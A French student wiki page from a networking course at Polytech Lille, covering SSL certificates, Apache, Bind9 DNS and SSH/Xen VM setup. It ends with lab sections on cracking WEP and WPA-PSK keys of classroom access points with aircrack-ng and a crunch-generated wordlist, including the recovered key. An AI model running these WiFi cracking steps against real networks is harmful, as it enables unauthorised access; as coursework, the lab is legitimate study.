TP sysres IMA2a5 2021/2022 G8

De Wiki d'activités IMA

TP Protocoles Avancés - SE2A5 - Groupe 5

Généralités

Vous trouverez les infos suivantes concernant mon projet

| 8 | Quentin.Maesen | ima2a5-fifa.site | 193.48.57.168 | 10.60.168.0/24 | 2001:660:4401:60A8::/64 | 2001:7A8:116E:60A8::/64 | 168 | 68 | IMA2A5-FIFA1 | IMA2A5-FIFA1

Génération de la clé SSL

Certificat SSL

Le SSL (Secure Socket Layer) / TLS (Transport Layer Security) est le protocole de sécurité le plus répandu qui créé un canal sécurisé entre deux machines communiquant sur Internet ou un réseau interne. Le protocole SSL est généralement utilisé lorsqu'un navigateur doit se connecter de manière sécurisée à un serveur web.

Tout d'abord, comme souvent pour les protocoles sécurisés (utiliser un processus de chiffremment), nous devons généner une paire de clefs .key et .csr. Pour cela on utilise la commande suivante :

    openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-fifa.key -out ima2a5-fifa.csr

Nous avons donc généré un jeu de 2 clefs privée et publique.


Argument explication req Gestion X.509 Certificate Signing Request (CSR). -nodes Pas de chiffrage sur la clef privée (option arbitraire no des) -newkey rsa:2048 demande de Génération d'une paire de clef RSA de 2048 bits et d'une demande de certificat. -keyout ima2a5-fifa.key spécification du nom de notre .key -out ima2a5-fifa.csr spécification du nom de notre demande de certificat .csr

A la suite de la commande openssl, nous répondons à quelques questions afin de générer et d'obtenir le csr:

    Country Name (2 letter code) [AU]:FR
    State or Province Name (full name) [Some-State]:Nord
    Locality Name (eg, city) []:Lille
    Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
    Organizational Unit Name (eg, section) []:IMA2A5
    Common Name (e.g. server FQDN or YOUR name) []:ima2a5-fifa.site
    Email Address []:quentin.maesen@polytech-lille.net
    
    Please enter the following 'extra' attributes
    to be sent with your certificate request
    A challenge password []:glopglop!
    Optionnal informations :

Notre clé publique est donc contenue dans le fichier ima2a5-fifa.csr. Ensuite cette clé publique doit être communiqué à notre registrar "Gandi" afin qu'il puisse valider ou non l'authenticité de notre site. Gandi peut utiliser plusieurs méthode pour certifier notre site. Nous avons choisi la méthode par "fichier". Pour cela nous devons fournir à Gandi un fichier temporaire et attendre qu'il soit validé. Une fois valider un certificat .csr et un certificat .pem sont générés.

Le protocole http écoute par défaut sur le port 80. Jusqu'ici notre serveur web écoutait donc sur son port 80 pour déceler d'éventuelles tentatives de connexion de la part des clients. Le protocole sécurisé https écoute lui sur le prot 443. Nous avons donc autorisé le serveur à écouter sur le 443 en plus du port 80 et effectué une redirection afin que les clients voulant se conecter via le protocole http soit automatiquement redirigé sur le port 443 afin d'utiliser le protocole https et donc de sécuriser la connexion. Activation du module SSL

- installer apache2 apt update apt install apache2 service apache2 start

Pour vérifier qu'on écoute bien sur le port 80 ss -tpln

root@Fifa:~# ss -tpln State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=944,fd=3)) LISTEN 0 128 *:80 *:* users:(("apache2",pid=4825,fd=4),("apache2",pid=4824,fd=4),("apache2",pid=4822,fd=4)) //écoute sur http LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=944,fd=4)) //écoute sur le ssh


Tout d'abord nous devons activer le module SSL sur notre serveur Apache2, en créant un lien symbolique via a2en :

  sudo a2enmod ssl

Puis il faut relancer le serveur avec la commande :

  service apache2 restart

Pour lire la clé et l'activer sur gandi.net

cat ima2a5-fifa.site.csr


activation du module ssl

a2enmod ssl

modif fichier /etc/apache2/ports.conf

Listen 80

<IfModule ssl_module>

       Listen 443

</IfModule>

<IfModule mod_gnutls.c>

       Listen 443

</IfModule>

modif fichier /etc/apache2/sites-available/000-ima2a5-fifa.site-ss1.conf


Mise en place du serveur DNS Installation de Bind9

Un serveur DNS (Domain Name System) permet la correspondance entre un nom de domaine et une adresse IP. Ainsi, grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP. Pour installer notre propre serveur DNS nous avons utilisé Bind9.

Nous commençons tout d'abord par installer bind9 via la commande suivante : apt-get install bind9 Création et configuration de la zone principale

La zone principale permet de faire pointer un nom de domaine pleinement qualifié (FQDN) sur une adresse IP.

Nous avons tout d'abord modifié le fichier /etc/bind/named.conf.local qui contient la configuration locale du serveur DNS et nous y avons déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone. Puis nous avons créé le fichier de description/configuration lui-même que nous avons appelé db.ima2a5-fifa.site.

  [...]
  ; BIND data file for ima2a5-fifa.site
  ;
  $TTL 14400
  @       IN      SOA     ns1.ima2a5-fifa.site. host.ima2a5-fifa.site. (
                      201006601 ; Serial
                      7200 ; Refresh
                      120 ; Retry
                      2419200 ; Expire
                      604800) ; Default TTL
  ;
  @       IN      NS      ns1.ima2a5-fifa.site.
  @       IN      NS      ns6.gandi.net.
  ns1     IN      A       193.48.57.168
  www     IN      A       193.48.57.168
  [...]

Définitions des hôtes

Une fois la zone principale configurée, nous renseignons dans sa description les noms des différentes machines pour lesquels on souhaite résoudre le nom. Pour cela nous modifions les fichiers de configuration named.conf.local :

  zone "ima2a5-fifa.site" {
  type master;
  file "/etc/bind/zones/db.ima2a5-fifa.site.signed";
  };

Et named.conf.options :

  options {
  // forwarders {
      //     0.0.0.0;
      // };
      //dnssec-validation auto;
      dnssec-enable yes;
      auth-nxdomain no;    # conform to RFC1035
      listen-on-v6 { any; };
      allow-transfer { "allowed_to_transfer"; };
  };
  acl "allowed_to_transfer" {
      217.70.177.40/32; // adresse IP du ns6.gandi.net
  };

Après avoir enregistré les modifications dans les fichiers précédemment évoqués, nous redémarrons le service bind9 grâce à la commande service bind9 restart. Le service bind9 doit être redémarré à chaque modification, pour qu’elle soit prise en compte. Réservation du nom de domaine

Grâce au registrar gandi.net, nous avons réservé le nom de domaine ima2a5-fifa.site. L'extension .site est une option trés interessante à cause du prix relativement faible (1€/an)

Mygandi.png Configuration du nameserver

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine. Le nameserver utilisé est spécifié dans notre fichier de configuration pour bind9. La figure suivante montre le choix de nos narmeservers via gandi:

Wiki.png

Enregistrement Glue Records

Il faut créer un enregistrement Glue records lorsque le serveur de noms fait référence au nom de domaine. Si vous souhaitez mettre en place plusieurs serveurs de noms, faisant référence au nom de domaine, il faudra créer pour chacun un enregistrement glue record. Ainsi nous utilisons les enregistrements Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. NB:Les modifications seront effectives entre 12 et 24 heures.

ns.ima2a5-fifa.site 193.48.57.168

Après avoir réalisé ces étapes et attendu que le registrar effectue les modifications, le site est enfin accessible via le nom ima2a5-fifa.site.

Serveur connexion en SSH

2 adresse IP 1 addresse est routée -> 193.48.57.168 1 non routé -> 10.60.100.254

Le mot de passe par défaut étant vraiment compliqué, j'ai pu le changer avec passwd. Cependant, il m'était impossible de me connecter sur ma machine virtuelle. C'est pourquoi, j'ai également dû effectuer des changements dans les fichiers "/etc/ssh/ssh_config" (pour autoriser la connexion en ssh) et "/etc/network/interfaces" (pour changer l'adresse de la gateway). Il ne me restait plus qu'à redémarrer le service :

ifdown eth0 ifup eth0 service ssh restart

nano /etc/network/interfaces

On met : 
# The primary network interface
auto eth0
iface eth0 inet6 auto
iface eth0 inet static
address 10.60.100.168/24
up ip address add dev eth0 193.48.57.168/32 ; ip route add default via 10.60.100.254 src 193.48.57.168
down ip address del dev eth0 193.48.57.168/32 ; ip route del default via 10.60.100.254 src 193.48.57.168

Pour la configuration, 2 fichiers sont importants

ssh_config -> config client
sshd_config -> config serveur


"xen list" est util pour lister les VM actifs

Pour voir l'adresse Ip de notre machine virtuelle

ipa, on pourra se connecter dessus

Pour se connecter à la VM

xen create /etc/xen/Fifa.cfg xen console Fifa

Une fois configurée, ssh root@193.48.57.168

Ligne de code pour retrouver ton mot de passe de ta VM

tail -f /var/log/xen-tools.Fifa.log


Cassage de clef WEP d’un point d’accès WiFi

Penser à installer les packages lié à Air Crack.

apt-install aircrack-ng

Brancher une clé WiPi via un port USB. Trouver l'id du port USB ou vous avez branché la clé la commande.

lsusb

Pour passer la clé Wifi en mode monitor, il faut utiliser la fonction suivante.

airmon-ng

Une fois le port déterminé la commande suivante va nous permettre d'écouter toutes les trames Wifi du périphérique.

airodump-ng  

Sélectionner un des réseau pour trouver le BSSID du groupe binôme. Laisser tourner l'interface en boucle pour maintenir les échanges Ip.

airodump-ng -c 3 --bssid 04:DA:D2:9C:50:50 wlan0mon

Dans un autre terminal, lancer la fonction de craquage.

aircrack-ng /tmp/cracotte01-01.cap

Patienter 10 à 15min pour obtenir un résultat

Wiki4.jpg


Cassage de clef WPA-PSK d’un point d’accès WiFi

Penser à vérifier que les packages Air Crack sont bien installés.

Listing de toutes les interfaces Wi-Fi

 airmon-ng

On obtient la liste ci-dessous :

 PHY	Interface	  Driver	  Chipset
 phy0	wlx40a5ef0f679b	  rt2800usb       Ralink Technology, Corp. RT5370 

On passe la carte Wifi en mode monitor :

 airmon-ng start wlx40a5ef0f679b	

Suite à cela, l'interface wlx40a5ef0f679b est renommée en wlan0mon. Maintenant, si on réutilise airmon-ng pour lister de nouveaux des interfaces Wifi disponibles on obtient :

 PHY	Interface    Driver	  Chipset
 phy0	wlan0mon     rt2800usb    Ralink Technology, Corp. RT5370 

Le nom de l'interface a donc bien été modifié.

On réutilise ensuite :

 airodump-ng wlan0mon

dans le but de récupérer le BSSID afin d'afficher les trames qui passent. On remarque que les trames de kracotte* se trouvent sur le channel 8 et que BSSID de la kracotte01 est 44:AD:D9:5F:87:00. J'ai donc pu filtré ma recherche de manière à n'observer que les trames qui passent vers kracotte avec :

 airodump-ng -c 8 --bssid 44:AD:D9:5F:87:00 -w krakotte.txt wlan0mon

Comme précédemment, j'ai enregistré toutes les trames qui passaient et je les ai envoyé dans un fichier nommé "krakotte.txt". A ce moment, j'ai du attendre environ un quart d'heure.


Exécution de Aircrack sur différentes zabeth

Une fois le handshake récupéré, j'ai créé mon propre dictionnaire contenant l'ensemble des mots de passes potentiels. En effet, nous savions que le mot de passe n'était composé que de 8 chiffres aléatoires. J'ai donc dans un premier temps créé un dictionnaire, nommé Dico_krakotte01, contenant les 100 000 000 possibilités grâce à la simple commande

 crunch 8 8 0123456789 >> Dico_krakotte01.txt

Cependant si je lançais la commande aircrack-ng tout de suite, ma machine mettrait un très long moment à trouver la clef en testant toutes les possibilités. Pour pallier ce problème, j'ai divisé mon dictionnaire en 5 fichiers distincts avec

 split -b 200m Dico_krakotte01.txt

On peut vérifier que cela a bien fonctionné en regardant le contenu des fichiers générés

 ls
 >> Dico_Krakotte01.txt   xaa

Posséder ces différents fichiers va me permettre d'exécuter la commande aircrack-ng sur d'autres zabeth de manière à diminuer le temps de recherche du mot de passe.

Cassage de la clef WPA :

 aircrack-ng -w xaa krakotte01.cap

Affichage de la recherche du mot de passe

Mot de passe trouvé

                            Aircrack-ng 1.5.2 
    [08:04:01] 66637843/102795810 keys tested (958.44 k/s) 
    Time left: 10 hours, 29 minutes, 3 seconds                64.83%
                         KEY FOUND! [ 66601666 ]
    Master Key     : 43 33 CD 6B EA 53 29 36 F9 53 21 00 33 0A 1A 45 
                     18 E3 D5 1D DD 1C 37 29 B9 6B 49 32 24 80 02 E5 
    Transient Key  : 77 A3 E9 BF CE FD D1 2B D9 62 3B 15 3C D5 2C 20 
                     59 59 19 3E AF 62 8F C9 1A 48 9C 1B 4B A4 89 70 
                     B3 4C 79 2A 0A FB C9 71 1F 10 01 BE A5 FA 96 41 
                     18 04 12 0E 01 91 DD EA B2 96 17 F3 69 AC 7C F5 
    EAPOL HMAC     : DA 48 8D 5E B4 0E F9 78 63 C7 8E 01 56 40 82 10